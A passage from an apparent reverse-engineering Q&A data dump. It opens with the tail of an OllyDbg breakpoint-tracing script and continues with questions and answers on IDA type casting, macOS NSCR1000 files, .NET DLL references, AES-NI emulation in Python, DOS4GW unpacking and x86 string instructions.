&#xA;ifeq $RESULT,1  &#xA;bc  &#xA;else    &#xA;ifeq $RESULT,2  &#xA;jmp theend  &#xA;endif   &#xA;endif   &#xA;dobp2:  &#xA;mov [val-1],0   &#xA;mov [buff+e04],57414741 &#xA;gstr buff+100   &#xA;BPCND eip, $RESULT  &#xA;cmt finish,&quot;done&quot;   &#xA;itoa eip    &#xA;LBL eip,&quot;no&quot;+$RESULT    &#xA;fill buff+100, val-buff-100, 0  &#xA;mov val,[buff]  &#xA;cmp swtch,1 &#xA;je trace    &#xA;jmp redo2   &#xA;eaxx:   &#xA;log &quot;eip=&quot;+str  &#xA;BPCND eip, &quot;EAX == &quot; + $RESULT  &#xA;gcmt start  &#xA;cmp $RESULT,&quot;done&quot;  &#xA;jne check4  &#xA;gcmt finish &#xA;cmp $RESULT,&quot;complete&quot;  &#xA;je check4   &#xA;itoa eip    &#xA;LBL eip,&quot;no&quot;+$RESULT    &#xA;check4: &#xA;cmp swtch,1 &#xA;je trace    &#xA;jmp redo2   &#xA;ebxx:   &#xA;log &quot;eip=&quot;+str  &#xA;BPCND eip, &quot;EBX == &quot; + $RESULT  &#xA;gcmt start  &#xA;cmp $RESULT,&quot;done&quot;  &#xA;jne check3  &#xA;gcmt finish &#xA;cmp $RESULT,&quot;complete&quot;  &#xA;je check3   &#xA;itoa eip    &#xA;LBL eip,&quot;no&quot;+$RESULT    &#xA;check3: &#xA;gcmt start  &#xA;cmp $RESULT,&quot;done&quot;  &#xA;jne check5  &#xA;gcmt finish &#xA;cmp $RESULT,&quot;complete&quot;  &#xA;je check5   &#xA;itoa eip    &#xA;LBL eip,&quot;no&quot;+$RESULT    &#xA;check5: &#xA;cmp swtch,1 &#xA;je trace    &#xA;jmp redo2   &#xA;ecxx:   &#xA;log &quot;eip=&quot;+str  &#xA;BPCND eip, &quot;ECX == &quot; + $RESULT  &#xA;gcmt start  &#xA;cmp $RESULT,&quot;done&quot;  &#xA;jne check6  &#xA;gcmt finish &#xA;cmp $RESULT,&quot;complete&quot;  &#xA;je check6   &#xA;itoa eip    &#xA;LBL eip,&quot;no&quot;+$RESULT    &#xA;check6: &#xA;cmp swtch,1 &#xA;je trace    &#xA;jmp redo2   &#xA;edxx:   &#xA;log &quot;eip=&quot;+str  &#xA;BPCND eip, &quot;EDX == &quot; + $RESULT  &#xA;gcmt start  &#xA;cmp $RESULT,&quot;done&quot;  &#xA;jne check7  &#xA;gcmt finish &#xA;cmp $RESULT,&quot;complete&quot;  &#xA;je check7   &#xA;itoa eip    &#xA;LBL eip,&quot;no&quot;+$RESULT    &#xA;check7: &#xA;cmp swtch,1 &#xA;je trace    &#xA;jmp redo2   &#xA;esii:   &#xA;log &quot;eip=&quot;+str  &#xA;BPCND eip, &quot;ESI == &quot; + $RESULT  &#xA;gcmt start  &#xA;cmp $RESULT,&quot;done&quot;  &#xA;jne check8  &#xA;gcmt finish &#xA;cmp $RESULT,&quot;complete&quot;  &#xA;je check8   &#xA;itoa eip    &#xA;LBL eip,&quot;no&quot;+$RESULT    &#xA;check8: &#xA;cmp swtch,1 &#xA;je trace    &#xA;jmp redo2   &#xA;edii:   &#xA;log &quot;eip=&quot;+str  &#xA;BPCND eip, &quot;EDI == &quot; + $RESULT  &#xA;gcmt start  &#xA;cmp $RESULT,&quot;done&quot;  &#xA;jne check9  &#xA;gcmt finish &#xA;cmp $RESULT,&quot;complete&quot;  &#xA;je check9   &#xA;itoa eip    &#xA;LBL eip,&quot;no&quot;+$RESULT    &#xA;check9: &#xA;cmp swtch,1 &#xA;je trace    &#xA;jmp redo2   &#xA;&#xA;&#xA;&#xA;cont:   &#xA;&#xA;log &quot;-----------------end memorybreakpoints---------------------&quot;   &#xA;loop:   &#xA;COE &#xA;erun    &#xA;&#xA;&#xA;ifeq dll,0  &#xA;cmp eip,start   &#xA;jb run2 &#xA;cmp eip,finish  &#xA;ja run2 &#xA;jmp continue2   &#xA;run2:   &#xA;BPMC    &#xA;redoit: &#xA;COE &#xA;erun    &#xA;cmp eip,start   &#xA;jb redoit   &#xA;cmp eip,finish  &#xA;ja redoit   &#xA;mov val,0   &#xA;mov str,buff+404    &#xA;bpaffect:   &#xA;bprm [str],[str+4]  &#xA;add str,8   &#xA;add val,8   &#xA;cmp [buff+400],val  &#xA;jne bpaffect    &#xA;jmp loop    &#xA;continue2:  &#xA;endif                           &#xA;&#xA;&#xA;&#xA;mov addr, eip   &#xA;GOPI addr, 1, DATA  &#xA;cmp $RESULT, value  &#xA;je detected1    &#xA;GOPI addr, 2, DATA  &#xA;cmp $RESULT, value  &#xA;je detected2    &#xA;GOPI addr, 1, ADDR  &#xA;cmp $RESULT,7   &#xA;ja checkval &#xA;GOPI addr, 2, ADDR  &#xA;cmp $RESULT,8   &#xA;jb redo2    &#xA;jmp round2  &#xA;detected1:  &#xA;GOPI addr, 1, ADDR  &#xA;jmp branch  &#xA;detected2:  &#xA;GOPI addr, 2, ADDR  &#xA;jmp branch  &#xA;&#xA;&#xA;&#xA;ifeq dll,0  &#xA;cmp eip,start   &#xA;jb run2 &#xA;cmp eip,finish  &#xA;ja run2 &#xA;jmp continue2   &#xA;run2:   &#xA;BPMC    &#xA;redoit: &#xA;COE &#xA;rtr &#xA;sti &#xA;cmp eip,start   &#xA;jb redoit   &#xA;cmp eip,finish  &#xA;ja redoit   &#xA;mov val,0   &#xA;mov str,buff+404    &#xA;bpaffect:   &#xA;bprm [str],[str+4]  &#xA;add str,8   &#xA;add val,8   &#xA;cmp [buff+400],val  &#xA;jne bpaffect    &#xA;jmp loop    &#xA;continue2:  &#xA;endif                           &#xA;&#xA;&#xA;redo2:  &#xA;&#xA;jmp loop    &#xA;&#xA;&#xA;&#xA;smartsearch:    &#xA;mov dll,0   &#xA;mov addr, eip   &#xA;boucl:  &#xA;mov str,addr    &#xA;preop addr  &#xA;ifeq $RESULT,addr-1 &#xA;preop $RESULT   &#xA;mov addr,$RESULT    &#xA;jmp boucl   &#xA;endif   &#xA;mov addr,$RESULT    &#xA;cmp addr,str    &#xA;je finishit &#xA;opcode addr &#xA;mov [buff+200],$RESULT_1    &#xA;mov str,buff+200    &#xA;ckecknext:  &#xA;add str,1   &#xA;scmp  [str], &quot;[&quot;, 1 &#xA;je dobreak  &#xA;cmp [str],0 &#xA;je boucll   &#xA;jmp ckecknext   &#xA;dobreak:    &#xA;bp  addr    &#xA;mov dll,addr-eip    &#xA;itoa dll    &#xA;mov dll,$RESULT &#xA;preop eip   &#xA;cmt $RESULT,dll &#xA;mov val,addr    &#xA;itoa val    &#xA;LBL val,&quot;yes&quot;+$RESULT   &#xA;boucll: &#xA;gstr buff+200   &#xA;len $RESULT &#xA;fill buff+200, $RESULT, 0   &#xA;jmp boucl   &#xA;&#xA;finishit:   &#xA;mov dll,0   &#xA;mov start,addr  &#xA;mov addr, eip   &#xA;boucl2: &#xA;GCI addr, size  &#xA;cmp $RESULT,0   &#xA;je loopp    &#xA;mov addr,addr +$RESULT  &#xA;preop addr  &#xA;ifeq $RESULT,addr-1 &#xA;jmp boucl2  &#xA;endif   &#xA;opcode addr &#xA;cmp addr,finish &#xA;jae loopp   &#xA;mov [buff+200],$RESULT_1    &#xA;mov str,buff+200    &#xA;ckecknext2: &#xA;add str,1   &#xA;scmp  [str], &quot;[&quot;, 1 &#xA;je dobreak2 &#xA;cmp [str],0 &#xA;je boucll2  &#xA;jmp ckecknext2  &#xA;dobreak2:   &#xA;mov dll,addr-eip    &#xA;itoa dll    &#xA;mov dll,$RESULT &#xA;preop eip   &#xA;cmt $RESULT,dll &#xA;GCI addr, size  &#xA;bp  addr    &#xA;mov val,addr    &#xA;itoa val    &#xA;LBL val,&quot;yes&quot;+$RESULT   &#xA;boucll2:    &#xA;gstr buff+200   &#xA;len $RESULT &#xA;fill buff+200, $RESULT, 0   &#xA;jmp boucl2  &#xA;&#xA;loopp:  &#xA;preop eip   &#xA;cmt $RESULT,&quot;ready&quot; &#xA;jmp loop    &#xA;&#xA;exit:   &#xA;mov val,start   &#xA;again:  &#xA;ifeq val,finish &#xA;jmp lafin   &#xA;endif   &#xA;endif   &#xA;mov str,&quot;&quot;  &#xA;glbl val    &#xA;ifNeq $RESULT,0 &#xA;MOV str,$RESULT &#xA;endif   &#xA;scmp str,&quot;yes&quot;,3    &#xA;jne skipit  &#xA;bc val  &#xA;lbl val,&quot;&quot;  &#xA;skipit: &#xA;GCI val, size   &#xA;mov val,val+$RESULT &#xA;jmp again   &#xA;lafin:  &#xA;preop eip   &#xA;cmt $RESULT,&quot;&quot;  &#xA;cmt finish,&quot;complete&quot;   &#xA;msg &quot;finished, save a copy of ./udd/&amp;lt;exename&amp;gt;.udd to store script results&quot;  &#xA;theend: &#xA;Ret                     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;May you report me any bugs you find to this email atagawa@gmail.com -best regards-&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12383" LastActivityDate="2015-07-22T18:41:54.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9424" PostTypeId="1" AcceptedAnswerId="9425" CreationDate="2015-07-23T05:56:05.917" Score="0" ViewCount="934" Body="&lt;p&gt;I want to make this decompiled function look nicer but don't know how ?&#xA;Can you please help me by telling steps to do the structure in ida?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a dot product function. I want to change type of &lt;code&gt;__int64 a2@&amp;lt;rsi&amp;gt;, __int64 a3@&amp;lt;rdx&amp;gt;&lt;/code&gt; to look more familiar.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void &#xA;__usercall dot_prod(signed int a1@&amp;lt;edi&amp;gt;, __int64 a2@&amp;lt;rsi&amp;gt;, __int64 a3@&amp;lt;rdx&amp;gt;,&#xA;                    __int128 _XMM0@&amp;lt;xmm0&amp;gt;, __int128 _XMM1@&amp;lt;xmm1&amp;gt;) &#xA;{   &#xA;  __int64 v5; // rax@2   double v6; // xmm0_8@2&#xA;&#xA;  if ( a1 &amp;gt; 0 )   &#xA;    {&#xA;      v5 = 0LL;&#xA;      v6 = 0.0;&#xA;&#xA;      do&#xA;      {&#xA;        v6 = v6 + *(double *)(a2 + 8 * v5) * *(double *)(a3 + 8 * v5);&#xA;        ++v5;&#xA;      } while ( a1 &amp;gt; (signed int)v5 );   &#xA;   } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12628" LastEditorUserId="53" LastEditDate="2015-07-23T07:26:35.643" LastActivityDate="2015-07-23T07:26:35.643" Title="Simple type casting" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9425" PostTypeId="2" ParentId="9424" CreationDate="2015-07-23T06:49:51.720" Score="0" Body="&lt;p&gt;Place cursor on a name of variable (in decompiled code window, you arrive there by using TAB in assembly window), press N. This will allow you to rename the entity your cursor stays on, including functions, variables, etc.&#xA;Place cursor on a name of variable, press Y. This will allow you to change its type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding a2 and a3 in your specific example they look like arrays of doubles, &#xA;so their type should be double*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect that the result of the line will be something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v6 = v6 + a2[v5]*a3[v5];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-07-23T07:24:11.733" LastActivityDate="2015-07-23T07:24:11.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9426" PostTypeId="1" AcceptedAnswerId="11765" CreationDate="2015-07-23T15:51:57.913" Score="12" ViewCount="4583" Body="&lt;p&gt;Terminal app on OSX stores the information about its windows and content in its state files in &lt;code&gt;Library/Saved Application State/com.apple.Terminal.savedState&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the backup of the file before the crash to be able to restore my data, but I don't know how to read it now (as Terminal refuses to use it). It starts with: &lt;code&gt;NSCR1000&lt;/code&gt; as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hexdump -Cn8 ~/Library/Saved\ Application\ State/com.apple.Terminal.savedState/data.data&#xA;00000000  4e 53 43 52 31 30 30 30                           |NSCR1000|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's used by &lt;code&gt;windows.plist&lt;/code&gt; file which can be decoded by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plutil -convert xml1 -o windows.plist windows.plist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What kind of method I can use to read that &lt;code&gt;.data&lt;/code&gt; file? Or where do I start?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings data.data | head -10&#xA;NSCR1000&#xA;p+5v&#xA;0&amp;gt;[t&#xA;kJX6X&#xA;@NSCR1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This file is automatically generated by Terminal app when you start and start typing something, so the terminal data is stored there.&lt;/p&gt;&#xA;" OwnerUserId="12021" LastActivityDate="2023-12-06T19:55:23.717" Title="How to read NSCR1000 data files?" Tags="|file-format|osx|binary-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9428" PostTypeId="5" CreationDate="2015-07-23T20:39:35.930" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-07-23T20:39:35.930" LastActivityDate="2015-07-23T20:39:35.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9429" PostTypeId="4" CreationDate="2015-07-23T20:39:35.930" Score="0" Body="Understand software updates only-based on binary patches by reversing it and analyzing the differences between old and new version of the software." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-07-23T20:39:35.930" LastActivityDate="2015-07-23T20:39:35.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9431" PostTypeId="1" CreationDate="2015-07-24T08:51:54.427" Score="2" ViewCount="1382" Body="&lt;p&gt;I am trying to change the name of the DLL file I had specified for my application before compiling it. When I change the DLL file name I get the error message like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System.IO.FileNotFoundException: Could not load file or assembly 'MyDLLName'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to change the DLL I had specified through .NET Reflector + Reflexil add-in?&lt;/p&gt;&#xA;" OwnerUserId="11621" LastEditorUserId="53" LastEditDate="2015-07-24T20:18:01.533" LastActivityDate="2022-12-25T18:21:00.130" Title="How to change the DLL name in the already compiled application?" Tags="|disassembly|dll|patch-reversing|reassembly|.net|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9433" PostTypeId="2" ParentId="9416" CreationDate="2015-07-24T11:30:41.387" Score="6" Body="&lt;p&gt;Three problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;mix_column&lt;/code&gt; returns &lt;code&gt;_col&lt;/code&gt; (typo underscore?)&lt;/li&gt;&#xA;&lt;li&gt;The return value of &lt;code&gt;mix_columns&lt;/code&gt; just concatenates the columns together like rows instead of slotting them back into columns - effectively transposing the result.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;AESENC&lt;/code&gt; takes its parameters and returns its results as columns concatenated together. Your &lt;code&gt;aesenc&lt;/code&gt; takes the parameters and returns the results as rows concatenated together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AESENC(E98E03FAEAD91A951F6269D0D4DAFAD6, C62E6AD8CC162D7E210D91A142F2927B)&#xA;       data = E9 EA 1F D4                key = C6 CC 21 42&#xA;              8E D9 62 DA                      2E 16 0D F2&#xA;              03 1A 69 FA                      6A 2D 91 92&#xA;              FA 95 D0 D6                      D8 7E A1 7B&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is the script adjusted so that it emits the same values as the &lt;code&gt;AESENC&lt;/code&gt; instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SBOX = (&#xA;    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,&#xA;    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,&#xA;    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,&#xA;    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,&#xA;    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,&#xA;    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,&#xA;    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,&#xA;    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,&#xA;    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,&#xA;    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,&#xA;    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,&#xA;    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,&#xA;    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,&#xA;    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,&#xA;    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,&#xA;    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,&#xA;)&#xA;&#xA;def transpose4x4(m):&#xA;    return m[0::4] + m[1::4] + m[2::4] + m[3::4]&#xA;&#xA;def list2hex(list):&#xA;    hex = &quot;&quot;&#xA;    for e in list:&#xA;        hex += &quot;{:02x}&quot;.format(e)&#xA;    return hex&#xA;&#xA;def hex2list(hex):&#xA;    lst = []&#xA;    if len(hex) % 2 == 0:&#xA;    for i in range(len(hex)/2):&#xA;        lst.append(int(hex[i*2:i*2+2], 16))&#xA;    return lst&#xA;&#xA;def xor(bytelist1, bytelist2):&#xA;    res = []&#xA;    length = min(len(bytelist1), len(bytelist2))&#xA;    for i in range(length):&#xA;        res.append(bytelist1[i] ^ bytelist2[i])&#xA;    return res&#xA;&#xA;def aesenc(state, roundkey, last=False):&#xA;    def shift_rows(state):&#xA;        state[4], state[5], state[6], state[7] = state[5], state[6], state[7], state[4]&#xA;        state[8], state[9], state[10], state[11] = state[10], state[11], state[8], state[9]&#xA;        state[12], state[13], state[14], state[15] = state[15], state[12], state[13], state[14]&#xA;&#xA;    def sub_bytes(state):&#xA;        for i in range(16):&#xA;            state[i] = SBOX[state[i]]&#xA;&#xA;    def mix_columns(state):&#xA;        xtime = lambda a: (((a &amp;lt;&amp;lt; 1) ^ 0x1B) &amp;amp; 0xFF) if (a &amp;amp; 0x80) else (a &amp;lt;&amp;lt; 1)&#xA;&#xA;        def mix_column(col):&#xA;            t = col[0] ^ col[1] ^ col[2] ^ col[3]&#xA;            u = col[0]&#xA;            col[0] ^= t ^ xtime(col[0] ^ col[1])&#xA;            col[1] ^= t ^ xtime(col[1] ^ col[2])&#xA;            col[2] ^= t ^ xtime(col[2] ^ col[3])&#xA;            col[3] ^= t ^ xtime(col[3] ^ u)&#xA;            return col&#xA;&#xA;        out = [None]*16&#xA;        for i in range(0,4):&#xA;          out[i::4] = mix_column(state[i::4])&#xA;        return out&#xA;&#xA;    sub_bytes(state)&#xA;    shift_rows(state)&#xA;    if not last:&#xA;        state = mix_columns(state)&#xA;    return xor(state, roundkey)&#xA;&#xA;data = transpose4x4(hex2list(&quot;E98E03FAEAD91A951F6269D0D4DAFAD6&quot;))&#xA;key = transpose4x4(hex2list(&quot;C62E6AD8CC162D7E210D91A142F2927B&quot;))&#xA;&#xA;res = transpose4x4(aesenc(data, key))&#xA;print list2hex(res)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12017" LastEditorUserId="12017" LastEditDate="2015-07-24T11:53:39.687" LastActivityDate="2015-07-24T11:53:39.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9435" PostTypeId="1" AcceptedAnswerId="9437" CreationDate="2015-07-24T13:52:05.917" Score="1" ViewCount="410" Body="&lt;p&gt;So I'm disassembling the Winnov.Amalga.Core.Session.Common.dll, and trying to figure out how the WriteScriptCommand works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm absolutely new to .NET, so go easy on me, please.&#xA;You can find the dll yourself here: &lt;a href=&quot;ftp://winnov.com/public/Costa/Amalga/Amalga_Developer_Kit_V1.zip&quot; rel=&quot;nofollow&quot;&gt;Link&lt;/a&gt; under the Binary folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is pretty much the only reference I found. EDIT: From searching through the decompiled dll.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using System;&#xA;namespace winnov.Amalga.core&#xA;{&#xA;  public interface ISession&#xA;  {&#xA;     string Configuration { get; set; }&#xA;     SessionState { get; }&#xA;     TimeSpan Duration { get; }&#xA;     string ArchiveBasePath { get; set; }&#xA;     string ArchivePath { get; }&#xA;     void Start();&#xA;     void Stop();&#xA;     void ApplyPreset(string presetxml);&#xA;     void writeScriptCommand(string name, string value);&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13088" LastEditorUserId="3615" LastEditDate="2015-07-24T20:18:33.763" LastActivityDate="2015-07-24T20:18:33.763" Title="How can I find the implementation/source code of an interface in .NET?" Tags="|decompilation|dll|.net|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9437" PostTypeId="2" ParentId="9435" CreationDate="2015-07-24T15:14:12.837" Score="0" Body="&lt;p&gt;If you look at the decompiled code for the &lt;code&gt;Winnov.Amalga.Core.Client&lt;/code&gt; constructor, you'll see that &lt;code&gt;this._Session&lt;/code&gt; is a web service interface to whatever web service was used when constructing &lt;code&gt;Winnov.Amalga.Core.Client&lt;/code&gt;. Thus, &lt;code&gt;Session.WriteScriptCommand()&lt;/code&gt; is a server-side function and its code is not in &lt;code&gt;Winnov.Amalga.Core.Session.Common.dll&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-07-24T15:14:12.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9438" PostTypeId="1" CreationDate="2015-07-24T22:06:12.893" Score="3" ViewCount="1331" Body="&lt;p&gt;I have a DOS program that I'm trying to reverse engineer. It uses the Causeway Extender(also known as DOS4GW) in order to load the program into 32-bit protected mode, and IDA Pro 5.0 cannot extract this for me. I saw another post that was similar where a guy said he unpacked the exe, but there was no description as to how he did it. I'd provide the link, but ironically I can no longer find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, I'm looking for an existing tool which I can use to 'unpack' this program for disassembly by IDA Pro or something. So far I've had no luck finding such a program.&lt;/p&gt;&#xA;" OwnerUserId="13092" LastEditorUserId="2147" LastEditDate="2016-08-20T16:50:07.427" LastActivityDate="2017-08-16T01:16:42.420" Title="Debugging a DOS4GW/Causeway packed program" Tags="|debugging|unpacking|dos|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9439" PostTypeId="1" AcceptedAnswerId="9441" CreationDate="2015-07-24T22:23:50.490" Score="2" ViewCount="804" Body="&lt;p&gt;I have a simple snippet with several instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01:    mov   edi, [ebp+8]&#xA;02:    mov   edx, edi&#xA;03:    xor   eax, eax&#xA;04:    or    ecx, 0FFFFFFFFh&#xA;05:    repne scasb&#xA;06:    add   ecx, 2&#xA;07:    neg   ecx&#xA;08:    mov   al, [ebp+0Ch]&#xA;09:    mov   edi, edx&#xA;10:    rep   stosb&#xA;11:    mov   eax, edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I should explain:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1.&lt;em&gt;What is the type of the &lt;code&gt;[ebp+8]&lt;/code&gt; in line &lt;code&gt;01&lt;/code&gt; and &lt;code&gt;[ebp+C]&lt;/code&gt;  in&#xA;  line &lt;code&gt;08&lt;/code&gt;, respectively.&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2.&lt;em&gt;What this code does?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Line &lt;code&gt;01&lt;/code&gt; is something like &lt;code&gt;edi = *(ebp+8)&lt;/code&gt;, it stores destination address, not sure. But i can't explain line &lt;code&gt;08&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;By following the &lt;code&gt;intel&lt;/code&gt; manual &lt;code&gt;SCASB (scan byte string)&lt;/code&gt; i assume what this code does initialize a buffer for the string, repeatedly writes &lt;code&gt;0&lt;/code&gt; byte &lt;code&gt;eax&lt;/code&gt; times, then assign &lt;code&gt;al&lt;/code&gt; to &lt;code&gt;edi&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10010" LastEditorUserId="10010" LastEditDate="2015-07-25T16:36:42.643" LastActivityDate="2015-07-27T14:06:35.243" Title="What does this combination SCAS and STOS?" Tags="|assembly|x86|decompile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9440" PostTypeId="2" ParentId="2086" CreationDate="2015-07-24T22:41:01.853" Score="1" Body="&lt;p&gt;Latecomer answer here. I noticed that you mentioned Decompiler 0.2.4 above: I'm the author of that project. I realize a couple of years have passed since you posed this question. During that time support for the 680xx family has been much improved. The current version (0.4.5) should be able to disassemble and decompile those binaries. The menu command &lt;code&gt;File&lt;/code&gt; &gt; &lt;code&gt;Open as...&lt;/code&gt; should allow you to open the a raw binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompiler is available here: &lt;a href=&quot;https://sourceforge.net/projects/decompiler&quot; rel=&quot;nofollow&quot;&gt;https://sourceforge.net/projects/decompiler&lt;/a&gt; (depending on whether SourceForge is back from its very prolonged outage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find any bugs or have suggestions for improvements / feature requests, don't hesitate to add them to the issue tracker.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2015-07-24T22:41:01.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9441" PostTypeId="2" ParentId="9439" CreationDate="2015-07-24T22:43:31.783" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ebp&lt;/code&gt; points to the stack, which is where function parameters are stored. &lt;code&gt;ebp+8&lt;/code&gt; is your first parameter, and &lt;code&gt;ebp+0C&lt;/code&gt; the second one.&lt;/li&gt;&#xA;&lt;li&gt;The first parameter is a pointer to a 0-terminated string, and gets loaded into &lt;code&gt;edi&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;repne scasb&lt;/code&gt; instruction will increment &lt;code&gt;edi&lt;/code&gt;, and decrement &lt;code&gt;ecx&lt;/code&gt;, until either &lt;code&gt;ecx&lt;/code&gt; is zero or &lt;code&gt;edi&lt;/code&gt; points to a byte that is equal to the one in &lt;code&gt;al&lt;/code&gt; - 0 in your case, so this scans for the end of a C string.&lt;/li&gt;&#xA;&lt;li&gt;Adding 2 to &lt;code&gt;ecx&lt;/code&gt;, then negating it, will make it equal to the string length. Try it out yourself on paper with an example or two.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;eax&lt;/code&gt; gets the second pararmeter of the function, from 